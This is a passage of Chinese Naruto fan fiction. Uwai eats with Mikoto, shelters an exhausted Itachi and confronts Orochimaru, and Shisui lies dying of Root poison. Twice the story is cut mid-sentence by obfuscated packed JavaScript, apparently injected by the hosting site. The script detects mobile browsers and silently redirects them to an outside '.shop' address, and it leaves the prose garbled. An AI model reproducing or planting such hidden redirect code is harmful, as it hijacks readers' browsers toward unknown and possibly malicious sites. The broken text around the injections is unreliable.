“你受伤了吗?” “没有。” “他对你做了什么?” “他想说服我。”羽怀顿了顿,“和上次一样。” 羽怀伸手捂住自己的嘴。 他后悔了,在美琴面前,他可能要把自己的老底都透干净了。 美琴没有追问“上次”是什么时候。她只是静静地注视着羽怀,像在确认什么。 几秒后,她垂下眼睑,声音恢复了往常的温和:“这件事,你需要向三代大人汇报。” “我知道。”羽怀说,“我正打算去。” 他说得很平静,当然,这是装的。 平静之下有着许多不能言说的信息。 碰到大蛇丸是前不久的事情,而且还涉及根部忍者的死亡。这些都是优先级极高的事情,按照常理,宇智波羽怀应当马上去火影大楼汇报情况。 但他没有。 他先将佐助背回了家。 也许这个理由可以说服自来也,但说服不了三代和团藏。 事情有轻重缓急,身为火影,在这方面是不可能开后门的。 事情有轻重缓急,如果所有忍者都这样,那么木叶早就完蛋了。 也许,在他的心中,村子并不是最重要的…… 宇智波羽怀的身体不由地抖了一下,像是被夜晚降下的温度给冻到了。 宇智波美琴没有立刻回应,而是回了一趟房间,拿出了一套干净的新衣服,放到了羽怀旁边。 “夜里凉,别穿那双薄的了。” 他抬头看了眼美琴,她的眼神依旧柔和,羽怀不清楚对方到底有没有看穿他心底的小心思。 “妈妈。” “嗯。” “鼬和止水……有消息了吗?” 美琴的手停在空中。她正要去拿食盒,那只手却悬在矮柜上方,像是忘了原本要做什么。 “……还没有。”她的声音很轻。 羽怀抬起头。 美琴的面容在玄关昏黄的灯光下显得格外柔和,也格外疲惫。 她今天穿的是那件深蓝色的和服,领口绣着宇智波一族的团扇纹样,袖口却被挽了起来,大约是族会时需要帮忙准备茶水的缘故。 羽怀很担心鼬和止水,而作为母亲的宇智波美琴,她的担心只会比羽怀更强。 “卡卡西下午来过。”羽怀说,“他说鼬和止水今天没有去暗部。” “我知道。”美琴终于取过食盒,打开盖子,开始将里面的小菜一碟碟取出,“卡卡西来过后,族里也派人去找了。” 她顿了顿,将一碟酱菜放在矮柜上,又去拿第二碟。 “听说自来也大人回来了,你父亲现在就在火影大楼和三代他们……” 美琴试图转移话题。 “族人们怎么说?” 羽怀打断了她。 这不是他平时会做的。在美琴面前,他从来是那个比鼬更懂得察言观色的养子,那个从不会让母亲为难的孩子。 但今晚,他发现自己很难维持那份周全。 美琴的手再次停住了。 她没有看羽怀,只是垂着眼帘,将那碟酱菜又往旁边挪了半寸,摆正。 “……有些族人不太满意。”她的声音依然温和,但语速慢了下来,“尤其是对鼬。” 羽怀抿紧了唇。 “族会除了议事,也是祭祖。”美琴终于抬起头,看向玄关外漆黑的庭院,“作为晚辈,无故缺席,确实不合规矩。” 她没有说“很多人”,也没有说“很失望”。 但羽怀听懂了。 他想起下午族叔打开神社门时脸上的尴尬,那些分成两股相对而坐的族人,还有富岳挥手让他离开时,眼底一闪而过的疲惫。 鼬是族长的长子。 这样的身份,在这样的时刻缺席,意味的从来不只是“不合规矩”那么简单。 再加上团藏和三代的话,鼬双面间谍的身份…… “他……”羽怀开口,却发现声音有些干涩,“他也许是有任务。” 话一出口,他自己都觉得苍白。 卡卡西找人的事情,全族会的族人都知道了,没办法用任务搪塞过去。 而且族人对鼬的情绪也不是突然出现的,这次的事情更像是个扔进火药桶的炮仗。 美琴没有反驳,也没有点头。她只是轻轻“嗯”了一声。 羽怀低下头,看着自己身上的新衣服。 他想起一个月前和鼬的那场争吵。其实根本算不上争吵,他甚至已经不记得自己当时在想什么,只记得鼬站在他房间门口,手里拿着那本刚从枕头下搜出来的小说,表情平静中带着些不满。 “这种书不适合你。”鼬说。 “我自己用任务赏金买的,你管我?还有你不是去族会了吗?怎么这么快就回来了?”他反问。 “我有火影大人交代的任务。” “你骗谁呢?我也有火影大人的任务,他的任务绝对不会让你去不成族会的。” 然后止水就从走廊那头冒了出来,一手一个,弹了他和鼬各一个脑瓜崩。 “族会太无聊了,我和鼬就先溜出来了。”止水笑着说,将书从鼬手里抽走,塞回羽怀怀里,“羽怀你也别总看这些,鼬你也别总板着脸,明明年纪还小,怎么比老头子还啰嗦。” 那时候止水的笑容很亮,亮得让羽怀觉得,族里那些烦心事大约真的不算什么。 他们大概真的只是因为族会太无聊才溜出来的。 但现在看来自己的反应还是太迟钝了。 止水和鼬,现在在哪里? 他下意识地攥紧了膝盖上的布料。 “我想去找大蛇丸。” 这句话脱口而出,连他自己都愣了一下。 美琴的动作终于彻底停住了。 她转过身,面对着羽怀。玄关的光线从她身后照来,让她的面容半隐在阴影中,看不清表情。 “……你说什么?” 羽怀抬起头。 他已经开了口,便没有再退缩的余地。 “大蛇丸知道一些事情。”他尽量让自己的声音平稳,“关于止水,关于团藏,关于……族里和村子的矛盾。他今天来找我,说想合作。” 美琴没有打断他。 “我知道他在利用我。”羽怀说,“但我也需要情报。三代大人那边没有消息,族里也没有,暗部那边我进不去……我在木叶没有自己的情报网。” 他的声音越来越低,低到最后几乎只有自己听得见。 “我总不能……一直等着。” 美琴沉默了很久。 久到羽怀以为她会像往常一样温柔地劝他先休息、先吃饭、先等大人的消息。 毕竟他说的话若是被根部听去,那这叛忍的帽子他就摘不下来了。 或者说根本不是什么帽子,在得知叛忍大蛇丸踪迹后,非但不向火影大人汇报,反而准备私下接触。这就是叛忍的行径。 美琴开口了。 “你今晚吃饭了吗?” 羽怀愣了一下。 “……什么?” “我问你,今晚吃饭了吗。” 美琴的声音依然温和,但语气里多了一丝不容置疑的意味。 羽怀下意识地想要回答“吃了”,却在对上母亲视线的瞬间,将所有话咽了回去。 美琴看着他,不说话了。 只是那样安静地看着,眼底带着一种“我早知道你会这样”的无奈,还有一点点的心疼。 羽怀败下阵来。 “我……没有。”他低声承认。 小脑袋垂了下来,原本准备找大蛇丸勾结的气势消失一空。 美琴轻轻叹了口气。 她没有责备他,也没有追问大蛇丸的事,只是将矮柜上的食盒重新打开,取出里面那几碟纹丝未动的小菜,又将那双筷子从布包里抽出来,放在碟边。 “先吃饭。”她说。 “妈妈,我赶时间,三代大人那边——” “不管你要找谁,先吃饭。” 美琴的语气依然是温柔的,但羽怀知道,这种温柔比任何斥责都更难违抗。 他站起身,走到矮柜旁坐下。 榻榻米的触感熟悉而安稳。这个位置他坐过无数次,从两岁被富岳带回这个家开始,每一餐饭几乎都是坐在这里,左手边是佐助,右手边是鼬,对面是父亲和母亲。 今天对面空着。 左手边的佐助已经在里屋睡着了。 右手边的鼬,不知在哪个角落,不知在做着什么。 羽怀拿起筷子。 小菜是凉拌的青菜,加了少许木鱼花和芝麻。米饭还是温热的,大约是族会结束后美琴特意带回来的。 他夹起一口青菜,慢慢咀嚼。 美琴坐在他对面,没有催促,也没有提起任何沉重的话题。她只是静静地看着他吃饭,像过去八年里无数个寻常的夜晚一样。 “……母亲。”羽怀咽下那口饭,“便当盒还在我这里。” 他放下筷子,从腰间的封印卷轴里取出那三份便当。下午从族长宅带走时是什么样子,现在就是什么样子,连包裹的布巾都没有解开过。 美琴接过便当盒,打开看了一眼。 她什么都没说。 但羽怀看见了。看见她手指轻轻摩挲着那份纹丝未动的米饭边缘,看见她将盖子重新盖好时,动作比打开时更慢。 他突然有些后悔。 后悔让母亲看见这些。 他应该从一开始就躲回房间,然后从窗户口溜出去。 “我……”他张了张嘴,“我不太饿,饿了我会自己找吃的……。” 美琴抬起眼,看着他。 那目光太温和,温和得让羽怀觉得自己像一只误闯进阳光里的飞虫,无处躲藏。 “羽怀。”美琴轻声说。 “嗯。” “你今年几岁了?” “十岁。” “十岁。”美琴重复着这个数字,嘴角微微弯起,“富岳像你这么大的时候,一顿饭能吃四碗。” 羽怀不知道该说什么。 “鼬像你这么大的时候……”美琴顿了顿,眼里的笑意淡了些,“鼬那时候,也不太爱吃饭。不过就算在外面修炼到很晚,他也会将带过去的便当吃完。” 她将那三份便当放在矮柜中央,一份叠着一份,叠成一个小小的塔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299235|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“忍者需要消耗大量查克拉。”她说,“查克拉是从身体里提炼的,身体不吃饭,拿什么提炼?” 羽怀垂下眼睑。 他的查克拉确实不算多。 “把止水和鼬的那份也吃了吧。” 美琴的声音很轻,轻得像在说一件微不足道的小事。 羽怀抬起头。 “他们今晚大概不会回来了。”美琴没有看他,只是将最上面那份便当打开,推到他面前,“放着也是浪费。” 羽怀看着那份便当。 便当盒是木质的,边角已经被磨得圆润。盖子内侧用油性笔写着一个“鼬”字,是佐助的笔迹,歪歪扭扭的,大约是去年写的。 他拿起筷子。 米饭入口时已经凉了,但软硬适中,是美琴一贯的水准。配菜是盐烤秋刀鱼和玉子烧,还有一小撮拌了不知道什么东西的海带丝。 他一口一口地吃着。 吃完了鼬的那份,美琴又将止水的那份推过来。 “妈妈。”羽怀有些为难地说,“我真的吃不下了。” 美琴没有回应。 她只是微笑地看着他,和刚才一样,温和而安静。 羽怀认命地接过筷子。 止水的便当里没有秋刀鱼。美琴大约是记得止水不爱挑刺,换成了照烧鸡腿。鸡肉也已经凉了,但酱汁依然浓郁,渗进米粒之间,将整份饭染成浅褐色。 他想起止水第一次来家里吃饭。 那是族长一家决定收养他的时候,他已经记不清具体年月,只记得止水坐在他旁边,将照烧鸡腿悄悄夹进他碗里,说:“羽怀太瘦了,多吃点。” 那时候止水自己也还是个孩子,大约七八岁的样子,却已经会用那种“我是哥哥”的语气说话。 羽怀咬了一口鸡肉。 酱汁的味道和之前一样。 他终于还是吃完了三份便当。 美琴收走空便当盒时,窗外隐约传来猫头鹰的叫声。羽怀看了一眼挂钟,现在是十点四十七分。 他该走了。 “妈妈。”他站起身,“我……” 美琴将洗净的便当盒放进碗柜,转过身。 “路上小心。” 没有阻止,没有建议。 她只是站在那里,厨房昏黄的灯光将她的影子拉得很长,投在走廊的纸门上。 羽怀看着那个影子。 他想说很多很多,说那些他自己都不确定能否兑现的承诺。 但最终,他只是低下头,轻声说: “我走了。” 美琴点了点头。 羽怀走向玄关。 他穿好鞋子,将长刀背在身后,手指触上门把。 身后传来美琴的声音,很轻,轻得像夜风穿过纸门的缝隙。 “羽怀。” 他停住。 “……忍者能吃,是很必要的条件。” 她的声音带着一丝笑意,像在说一个很久以前的玩笑。 羽怀没有回头。 他推开门。 夜风灌进来,带着深秋特有的凉意。庭院里的枫叶已经落了大半,剩下几片在枝头摇摇欲坠,被月光照成暗红色。 他抬脚踏出玄关。 而下一刻,他就见到了一个十分熟悉的身影。 他看见了宇智波鼬。 此时的鼬蹲在一座高约四五米的电线杆上。 暗部的制服还没有换下,面具却拿在手里,露出一张比一个月前更消瘦的脸。月光落在他肩上,将团扇族徽映成霜白色。 他就那样蹲着,朝着族长宅的方向。不进来,但也没有要走的意思。 羽怀不知道他蹲了多久,也不知道他有没有听到他们的谈话。 或者他是不是跟踪自己和佐助回来的? 羽怀停下了脚步,抬头与鼬对视。 他有很多话想说。 比如,“你去哪了?为什么不进来?为什么不去族会?” 再比如,“止水呢?为什么没和你一起蹲房顶上?” 但他只是看着鼬的脸,看见那双和自己一样、和佐助一样、和无数宇智波族人一样乌黑的眼睛里,有什么东西沉在最深处,压得很低,低到几乎看不见。 就像是夜晚中的大海一样,平静又危险。 “止水呢?” 鼬没有回话,像是没听见他的话。 明明已经回来了,为什么不回家? 他可是担心了好久。 还有很多人也在担心他呢。 一股无名火从羽怀的心底升腾起来,他的面色一冷,扭头朝外走去。 “我要去做任务,你穿着暗部的制服,是要阻止我吗?” 鼬仍旧没有说话,夜色下羽怀也没办法分辨他脸上的表情。 “哼。” 冷哼一声,羽怀不再管他,转身朝着木叶的方向走去。 但下一刻,鼬的身影突然消失,然后出现在了他的面前。 “宇智波鼬,我不想在家门口和你打架,妈妈和佐助都要休息。” “我没有……” 鼬的声音低沉且沙哑,一定要形容的话,就像是刚哭过一样。 鼬会哭?他这么多年还从来没有见过呢。 羽怀抬头看向鼬的脸,他此刻才发现,鼬的脸上有着两道淡淡的血痕。并不是伤口,而是更像泪痕。 他整个人的状态也非常糟糕,羽怀能感受到他身上查克拉的剧烈波动。 “你受伤了?” 羽怀也顾不上和鼬发脾气了,张口准备朝家里喊人。 但鼬却先一步拉住了他。 “别让……担心。” 还没有完全听清鼬的话,羽怀就感觉到了一股压力从自己的身侧传来。 鼬的身体晃了晃,随后便不受控制的倒了下去。整个人都靠在了羽怀的身上。 虽然没去参加族会,但他这一晚经历的事情可不少,现在他的身体和精神都早已透支,能撑到现在只能说他的意志真的非常强大。 7. 第 7 章 宇智波羽怀扶着鼬,在原地站了几秒。 鼬的呼吸很轻,轻得几乎感知不到。他的头垂在羽怀肩上,黑色的碎发蹭着羽怀的脖颈,有些痒。 羽怀偏过头,试图看清鼬的脸。 月光不够亮,照不清太多细节。但他能看见鼬紧闭的眼睛,以及他紧抿的嘴唇。 “喂。”羽怀低声唤他,“鼬。” 没有回应。 羽怀腾出一只手,按在鼬的手腕上。脉搏还在跳动,节奏有些乱,但不算太弱。 他又检查了鼬的身体,没有明显的伤口,没有血迹渗出来,四肢也没有骨折的迹象。 检查的结果让他松了口气,但他很快又皱起眉来。 没有外伤,不代表没事。幻术也能让人昏迷,尤其是高强度的幻术,对精神的伤害比□□更严重。 无论如何,他得回去叫人。 羽怀抬起头,看向族长宅的方向。院门还开着,玄关的灯还亮着,美琴应该还在厨房收拾。只要他喊一声,或者把鼬背回去,一切就交给大人了。 他低下头,准备把鼬背起来。 就在这时,他感觉到肩上的重量动了一下。 鼬的手指抓住了他的衣襟。 很轻,轻得几乎感觉不到。就像是某种错觉一样。 “别……”鼬的声音从喉咙深处挤出来,沙哑得几乎听不清,“别回去……” 羽怀的动作顿住了。 他偏过头,看见鼬的眼睛睁开了一条缝。那双眼睛在月光下显得格外黑,黑得看不见底,里面有什么东西在晃动,像是即将熄灭的火苗。 “你醒了?”羽怀问,继续扶着对方,不让他摔倒。 鼬没有回答。他只是抓着羽怀的衣襟,用那种几乎听不见的声音重复:“别回去……我有话想对你说。” 这么几个字已经让鼬有些喘气,但能看得出来,他并不想回家。 羽怀愣了一下。 他侧头看着鼬的脸。那张脸比记忆中任何时刻都更加苍白和脆弱。 他从来没见过鼬这个样子。在佐助和他面前,鼬一直摆出一副可靠兄长的模样;在族人面前,鼬则是族长的长子,一名孤高的天才忍者;在止水面前,鼬有时候才会露出一些生动的表情。 不过这副模样确实是他第一次见。 但此刻,抓着他衣襟的这个人,看起来比佐助还要脆弱。 说起来,鼬今年也才十二岁了,正常来讲,现在才是从忍校毕业的年纪。 不过至少他现在的意识是清醒的,中幻术的可能性不大。 羽怀能感觉到,鼬抓着他衣襟的手指虽然无力,但动作是有意识的;他说话的声音虽然沙哑,但话语是有逻辑的。他不想回去,不想让妈妈和佐助看到自己这个样子。 至于他有话想和自己说……省省吧,先等他休息好,能把话说清楚再说吧。 羽怀叹了口气,想用手揉揉眉心,但为了不让鼬摔在地上,他还是忍住了。 自从他回村以来,事情一次次地出乎他的预料,并且变得越来越糟糕。 “你能自己走吗?”羽怀问。 鼬没有回答,但抓着他衣襟的手指又紧了一点。 羽怀叹了口气。 他环顾四周,观察情况。街道空荡荡的,没有人影,连猫狗都没有。远处的路灯投下昏黄的光,在石板路上画出一圈圈模糊的轮廓。夜风吹过,带起几片落叶,沙沙作响。 如果不回家的话,他就只能找别的地方安置鼬了。这里离村子比较远,走夜路不仅麻烦,而且不太安全。而他的通灵兽也只是只忍猫而已,根本驼不动鼬。他只能自己把人运走。 最近村里并不太平,如果大蛇丸突然冒出来,他背着鼬可打不过,甚至跑都有些难度。 不过他倒是有一个更好的选择。 他其实还有一个家,也就是止水家。那里现在大概没人,可以安置鼬。 而止水家离这里也不远,他也能运过去。 穿过两条街,再拐一个弯,就到了。 “我送你去止水哥家。”羽怀说,“你撑一下。” 鼬没有点头,也没有摇头,但身体却略微的抖了一下,似乎被一些名词刺激到了。羽怀感觉到他抓着自己衣襟的手指紧了一点,不知道是不是默许。 羽怀调整了一下姿势,把鼬的手臂搭在自己肩上,半扶半拖地往前走。鼬的腿还能动,但步伐虚浮,每一步都像是踩在棉花上。羽怀不得不放慢速度,配合他的节奏。 他最开始想背着鼬来着,但鼬并不是很配合,似乎背自己的弟弟背着什么的让他有些不好意思。 两人走得很慢,月光把两个人的影子拉得很长,交叠在一起,像两个蹒跚前行的老人。 现在族会已经结束,也有不少族人还没睡。 一路上,有些族人看到了兄弟俩,想来帮忙,但看到羽怀扶着的人是鼬后,就又犹豫了。 最后也只是尴尬的摸摸鼻子,假装没看到,随后就走开了。 对于鼬这次缺席族会,几乎所有的族人都不太满意。 止水家就在前面。 那是一座不大的宅院,和周围的宇智波族宅没什么两样,都是那种日式的建筑,木质的门扉,院子里种着一棵老枫树。 羽怀和止水的父母走后,这座宅子就只剩下他们兄弟两人住了。 羽怀将手伸进门边的花盆里摸索了一下,掏出了一把钥匙。 他推开院门,扶着鼬穿过庭院。树叶落了满地,踩上去沙沙作响。他走到卧室门口,拉开纸门,把鼬扶进去。 床上还铺着被褥,是上次他来这里小坐时铺的,一直没收。羽怀把鼬放倒在床上,替他脱掉鞋子,又扯过一旁的薄被盖在他身上。 鼬的眼睛已经闭上了,呼吸比刚才平稳了些。 羽怀站在床边,低头看他。 月光从窗外照进来,落在鼬的脸上。那两道血痕还挂在眼角,在月光下显得格外刺目。羽怀的目光从血痕移到鼬紧皱的眉头,再到他抿紧的嘴唇,最后落在他放在被子外的手上。 那只手的指甲缝里有泥土,手背上有几道细小的划痕,指关节泛着不正常的青白色,那是用力过度之后才会有的颜色。 他到底做了什么? 为什么没来族会,又为什么没有去暗部报到? 无论他是准备和止水哥一起阻止政变,还是说突然想起自己是宇智波一族族长的长子准备加入政变,他都应该会去参加族会才是。 现在将自己搞成这副模样,等族会结束后才一个人出现,在家门口的电线杆上摆造型…… 那么止水呢? 羽怀的手指动了动,最终还是没有去碰那只手。 他转过身,准备离开。 原本大蛇丸的话他并不相信,但鼬把自己搞成这副模样……他也有些担心起来了。 大蛇丸和族里的事都先放一边吧,他有更重要的事要做。 他得先去找止水。 希望还来得及吧…… 走出房间,来到客厅,推开屋门,来到院子。 然而,当羽怀的手刚碰到院门的时候,一道声音却是从他的身后传来。 “羽怀君这是要去哪里?” 那个声音从客厅传来,低沉而阴冷,带着一种黏腻的质感,像是蛇在黑暗中滑行。 羽怀的动作瞬间停住。 下一刻,他的身影消失不见。紫色的光芒一闪而逝,他眨眼间便出现在了不速之客的身前,长刀出鞘,刀刃抵住了对方的脖子。 来人正是木叶叛忍,大蛇丸。 院子里没有点灯,但月光从窗户外照进来,足够他看清对方的脸了。 大蛇丸站在院子中央,穿着一身灰色的和服,腰带松松垮垮地系着,露出苍白的锁骨。他的脸半隐在阴影中,只有那双蛇瞳在月光下泛着幽冷的光。 他就那样站着,像是早就等在这里。就算长刀已经架住了他的脖子,他也没有任何慌张的神色。 “你是怎么进来的?”羽怀问。 他的声音很平静,平静得连他自己都有些意外。 “门没锁。”大蛇丸的嘴角微微上扬,露出一个意味不明的笑容,“当然,我能进来和门有没有锁,没关系。” “你想干什么?”羽怀问。 大蛇丸没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299236|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有立刻回答。他的目光越过羽怀,穿过屋子的墙壁,落在他刚离开的卧室里,那里躺着昏迷的宇智波鼬。那双蛇瞳微微眯起,像是在打量什么有趣的猎物。 “鼬君也在?”大蛇丸的语气里带着一丝惊讶,但听起来更像是假装出来的惊讶,“这倒是个意外的收获。” 羽怀的身体往旁边挪了半步,挡住大蛇丸的视线。同时刀刃侧移,切进了对方的皮肉之中。 “我的耐心是有限的。” 虽然一直不愿意往这个方向去想,但羽怀并不蠢。几年的忍者生涯让他对情报足够的敏感。 当宇智波鼬一副憔悴的模样出现在他面前,并且还说有话要和他说的时候,他就已经猜到了。 止水大概是遭遇不测了。 其实,身为忍者,死在任务中是非常正常的。他哥哥止水也没什么特殊的。 但如果是被团藏偷袭的话,这样的结局他无法接受。 他需要大蛇丸的情报,关于团藏的情报。 三代和自来也还是太仁慈了,最多也就是将团藏关进木叶监狱罢了。 他想要亲自动手。 大蛇丸收回目光,重新看向羽怀。 他的嘴角依然挂着那种若有若无的笑容,但那双蛇瞳里没有任何笑意。 “羽怀君。”他开口了,声音低沉而缓慢,“除了我,你别无选择。” 羽怀没有回应。 他的手依然握在刀柄上。 “如果你和自来也都能早几天到木叶,那么一切都会变得不一样。但是现在,团藏已经通过偷袭重伤了宇智波止水,并且夺走了他的一只眼睛。” 大蛇丸伸手试图将抵在抵住自己要害的刀刃移开,但宇智波羽怀眼中的三勾玉让他停下了动作。 “如果你不信,可以让鼬起来和你解释,或者说,以你的聪明才智,见到鼬这副模样应该就已经猜得七七八八了吧?” “我为什么要信你一个叛忍的话?” “你可以相信三代,相信自来也,你一直以来也都是这么做的。但选择相信别人,同样也是需要承担后果的。不知道这样的后果你能接受吗?” 他抬起手,指了指羽怀身后的卧室,又指了指窗外,那个方向是族长宅,也可以是整个木叶。 “宇智波止水下落不明。”他一字一句地说,“宇智波鼬昏迷不醒。宇智波一族的族长,此刻正在火影大楼,和已经准备好了的且拥有止水万花筒写轮眼的志村团藏谈条件。” 羽怀的手指收紧了。 刀柄传来冰凉的触感,让他的心稍微安定了一些。 “你想说什么?” “我想说,羽怀君,在日斩和自来也的调节下,也许宇智波一族能和村子谈下去,但如果代价是你的兄长的话,这样的结局你可以接受吗?” 大蛇丸向前走了一步,刀刃在他的皮肉中切割,但没有阻拦他行动分毫。 “我们的时间并不充裕,暗部一直盯着你们的族地,我的出现很快就会被他们发现。” 羽怀没有退,但他的身体绷得更紧了。 他眼中的勾玉快速旋转,阴属性查克拉汇聚在眼球之中。 勾玉的图案开始连结,最后形成了一副风车的图案,但很快又消失不见了。 大蛇丸停在那一步的距离,没有再靠近。他就那样站着,居高临下地看着羽怀,与成年人相比,他的身高着实有些不够看。 根据先前他在火影大楼得到的情报,止水的计划就是用别天神将族会中的主战派控制住。 当然,这与止水的真实计划可能有一些出入,但大致内容应该是真实的。 假如大蛇丸说的是真的,那么先前团藏在火影大楼挑衅自己的底气就有了解释。 在没有相关情报的情况下,他觉得自己肯定会中招。 当然,给自己用对团藏而言可能才是下策,他真正想要使用的对象应该是三代火影才对。 不过这些现在并不是最重要的。他从大蛇丸的前后话语中听到了一丝变化。 很关键的变化。 “你之前不是还说止水已经死了吗?怎么现在又变成下落不明了?” 8. 第八章 月光照在南贺川上,将水流染成银白的绸带。 宇智波止水靠在悬崖下的岩壁上,他的呼吸很轻,轻得像随时会消失一样。 他的左眼紧闭,眼眶周围的血已经凝固,变成深褐色。凝固的血块从额头一直蔓延到下颌,在月光下显得格外狰狞。 他的右手按在腹部,在那里有一处伤口。不是致命伤,但伤口处传来的麻痹感正在向全身扩散。 他中毒了。 根部的刀上涂了毒,这毒他也认得,不会让人立刻死亡,但是会让人慢慢丧失行动能力,到最后甚至会连一根手指都动不了。 止水扯了扯嘴角,抬头,用他仅剩的右眼望着夜空。 今晚的云很多,遮住了大半的星星。偶尔有云层移开,露出几颗黯淡的光点,很快又被新的云遮住。 在之前带着弟弟们出来野餐的时候,他们也玩到了这么晚。 那时候羽怀还小,喜欢到处乱跑,然后把膝盖摔破了。 当时那哭声可谓是惊天动地,不知道的还以为是骨折了呢。 不过最后被美琴阿姨用一颗三色丸子就哄好了。 同样是宇智波,但羽怀那时候可是真能哭啊……不像鼬,从小就绷着张脸,跟个小老头似的。 现在羽怀也已经是一名优秀的忍者了,不会因为这些小伤哭哭啼啼了。真想再见一见他和鼬。 此时,远处传来了脚步声。 很隐蔽,但止水听出来了。 是鼬。 他又扯了扯嘴角,想笑,但脸上的肌肉已经不太听使唤了。只能让那个笑意停在眼底,他希望鼬见到他这副模样后不要被吓到。 “止水!” 鼬的身影从树林中冲出来,暗部的制服上沾着露水和泥土,面具不知丢在了哪里。他看见了靠在岩壁上的止水,脚步猛地一顿,然后以更快的速度冲了过来。 他在止水面前蹲下,手悬在半空,不知该落在哪里。那双眼睛扫过止水紧闭的左眼,扫过他腹部的伤口,扫过他苍白的脸,最后停在止水的脸上。 “谁干的?” 鼬的声音很平静,平静得像一潭死水。但止水听出来了,那平静底下压着的东西是一种浓烈的杀意。 “是团藏。”止水说。 他的声音很轻,轻得几乎能被水声盖住。但在这寂静的夜里,每一个字都清晰地传入了鼬的耳中。 鼬的手指动了动。 他没有说话。只是默默地看着止水,目光再次扫过那只空荡荡的左眼眶,以及那道从额头蔓延到下颌的血痕。 他和止水算是从小就认识了,止水是他的老师,朋友,更是亲人一般的兄长。 而在村子和族人矛盾激烈的现在,止水是他唯一的战友。 而现在,止水就要死了。 鼬的眼睛里仍旧没有任何情绪。只有一种沉甸甸的黑,黑得看不见底。 他站起身来。 “我去杀了他。” 止水伸出手,抓住了鼬的手腕。 那力道很轻,轻得鼬只要稍微用力就能挣脱。但鼬停住了。 “坐下。”止水说。 鼬没有动。 止水也没有再说话。他只是握着鼬的手腕,用那只仅剩的右眼看着他。月光从云层的缝隙中漏下来,落在两人之间,照出鼬脸上那两道淡淡的泪痕,那也许是刚刚转身的时候,鼬流下的。 他已经好久没见到鼬流眼泪了,上次还是在刚开眼的时候。 说起来鼬第一次开眼还是被羽怀吓出来的……这么年轻的一勾玉翻遍宇智波一族的族谱都没有,当时可把宇智波富岳高兴坏了。 回忆了一下过去的美好时光,止水将思绪拉回现在。 就在刚刚那么一小段时间里,鼬的脸上已经没有泪了。作为专业的忍者,以及手里剑高手,鼬的手速可以说是非常的快。 犹豫了几秒后,鼬重新蹲了下来。 他在止水身边坐下,背靠着同一块岩壁。夜风从南贺川上吹来,带着水汽和凉意,吹动两人的衣角。 “为什么?”鼬问。 他没有问“为什么团藏要偷袭你”,也没有问“为什么你会被他偷袭”,更没问“为什么阻止他”。他只是问“为什么”,像是把所有的问题都压缩进这两个字里,等着止水给他一个答案。 止水沉默了片刻。 他的目光越过南贺川,望向对岸的树林。那里漆黑一片,只有偶尔有夜鸟掠过,带起几声扑棱的响动。 “因为我太高估他了。”止水说。 他的声音很轻,但每一个字都很清晰。 “我以为团藏会顾忌三代和自来也,会顾全大局,暂时收手。但我没想到他敢直接动手。” 鼬没有说话。 “我的计划……”止水顿了顿,嘴角扯出一个自嘲的弧度,“其实是找自来也大人回来。” 鼬转过头,看着他。 “那别天神呢?”他问。 止水摇了摇头。 “控制族人没有意义。”止水说,“就算我用别天神让所有激进派都安静下来,那又怎样?那不是他们的真实想法,只是被我强加的想法而已。等瞳术解除的那天,一切都会回到原点。甚至更糟。” 他望着夜空,望着那些被云层遮住的星星。 “而且……那也不是真正的和平,那不是我的忍道。” 鼬沉默着。 “我从来不觉得,用实力强行改变别人的意志,能换来真正的和平。”止水的声音越来越轻,但每一个字都像刻在石头上一样清晰,“千手柱间和宇智波斑都做不到的事,我凭什么能做到?” 他顿了顿,那只右眼微微弯起,像是在笑。 “所以我请了自来也大人回来。” 鼬的眉头动了动。 “自来也大人……”他重复着这个名字,像是在咀嚼什么。 “嗯。”止水说,“他的名声足够好,和三代、族长、甚至一些长老们都有交情。有他在,激进派会冷静一些,保守派会觉得更有底气。而且……” 他看向鼬。 “他也想让村子和宇智波和解。” 鼬垂下眼睑。 若是能让自来也回来,一切确实都会和止水说的那样好转。事实上,如果四代目还活着,也是一样的效果。 客观来讲,这确实是个好办法。 “所以你知道团藏会动手?”鼬问。 “知道他会搞事,他一直不是很待见我们一族。”止水说,“但没想到他会狗急跳墙。” 他的嘴角弯起一个苦涩的弧度。 “自来也回来的压力,比我想象的更大。团藏等不了了。” 鼬的手指攥紧了膝盖上的布料。 “所以你就这样……”他的声音有些抖,“就这样让他……” “鼬。” 止水的声音打断了他。 声音很轻,但很稳。 鼬抬起头,对上止水那只右眼。在月光下,那只眼睛里,有着鼬非常熟悉的平静和温柔。好像一切都没有发生变化,他们只是在一起出任务而已。 “我活不了了。”止水说。 他的语气很平淡,平淡得像在说今天天气不错。 “毒已经扩散了。根部的刀上涂的毒,我认得。再过半个时辰,我连话都说不了了。” 鼬的身体抖了一下,僵住了。 “你……”他的声音卡在喉咙里,像是被什么东西堵住,怎么也吐不出来。 止水看着他,那只右眼里浮起一丝笑意。 “别这样。”他说,“我们是忍者,你应该知道,这种事随时都可能发生。” 鼬没有说话。 他只是看着止水,看着那张比记忆中任何时候都苍白的脸,看着那只空荡荡的左眼眶,看着那些凝固在脸上的血痕。 他不是医疗忍者,就算他是,除非他有纲手大人那样的实力否则也解不了止水的毒。 这是根部的毒,他知道。 他知道,止水说的是真的。 他知道…… 止水活不了了。 “鼬。”止水的声音再次响起,“现在不是报仇的时候。” 鼬的手指攥得更紧了。 